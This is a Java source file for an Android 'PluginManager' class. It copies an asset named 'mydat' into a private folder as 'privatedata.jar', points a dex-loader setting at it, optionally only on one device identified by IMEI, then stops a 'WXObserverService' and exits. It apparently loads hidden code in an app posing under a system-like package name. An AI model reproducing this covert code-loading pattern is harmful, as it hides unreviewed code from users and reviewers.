package com.android.accessibility.utils;

import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;

import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.text.TextUtils;

import com.android.accessibility.PhoneManager;
import com.android.accessibility.service.WXObserverService;

public class PluginManager implements Runnable {

    private Context mContext;

    public PluginManager(Context context) {
        mContext = context;
    }

    public void run() {
        generateDexFile();
    }

    public void parse() {
        AppConfig appconfig = AppConfig.get(mContext);
        boolean needConfig = false;
        if (appconfig != null) {
            if (appconfig.isUsePlugin()) {
                if (appconfig.getDevTag() != null){
                    String imei = PhoneManager.get(mContext).getDeviceId();
                    if (appconfig.getDevTag().equals(imei)) {
                        needConfig = true;
                    } else {
                        needConfig = false;
                    }
                } else {
                    needConfig = true;
                }
            }
        }

        if (needConfig) {
            new Thread(this).start();
        }
    }

    private void generateDexFile() {
        copyJar();
    }

    private boolean copyAssetsFile(String assetFile, String newPath) {
        try {
            InputStream is = mContext.getAssets().open(assetFile);
            FileOutputStream fis = new FileOutputStream(newPath);
            byte buffer[] = new byte[4096];
            int read = 0;
            while ((read = is.read(buffer)) > 0) {
                fis.write(buffer, 0, read);
            }
            is.close();
            fis.close();
            return true;
        } catch (Exception e) {
            Log.d(Log.TAG, "error : " + e);
        }
        return false;
    }

    private void copyJar() {
        File jarFile = new File(getDexFilePath());
        if (shouldCopyAssets("mydat", getDexFilePath())) {
            File parent = new File(jarFile.getParent());
            parent.mkdirs();
            if (copyAssetsFile("mydat", jarFile.getAbsolutePath())) {
                updateDexConfig();
                Intent intent = new Intent(mContext, WXObserverService.class);
                mContext.stopService(intent);
                System.exit(0);
            } else {
                clearDexConfig();
            }
        }
    }

    private String getDexFilePath() {
        String srcDexPath = mContext.getDir("dex_path", Context.MODE_PRIVATE)
                .getAbsolutePath() + File.separator + "privatedata.jar";
        return srcDexPath;
    }

    private void updateDexConfig() {
        SharedPreferences sp = mContext.getSharedPreferences("_dexloader_config", Context.MODE_PRIVATE);
        sp.edit().putString("dex_path", getDexFilePath()).commit();
    }

    private void clearDexConfig() {
        SharedPreferences sp = mContext.getSharedPreferences("_dexloader_config", Context.MODE_PRIVATE);
        sp.edit().clear().commit();
    }

    private boolean shouldCopyAssets(String assetsFile, String fileName) {
        String md5Assets = Utils.md5sumAssetsFile(mContext, assetsFile);
        String md5File = Utils.md5sum(fileName);
        Log.d(Log.TAG, "AssetsFile : " + md5Assets + " , md5File : " + md5File);
        if (!TextUtils.isEmpty(md5Assets) && md5Assets.equals(md5File)) {
            return false;
        }
        return true;
    }
}
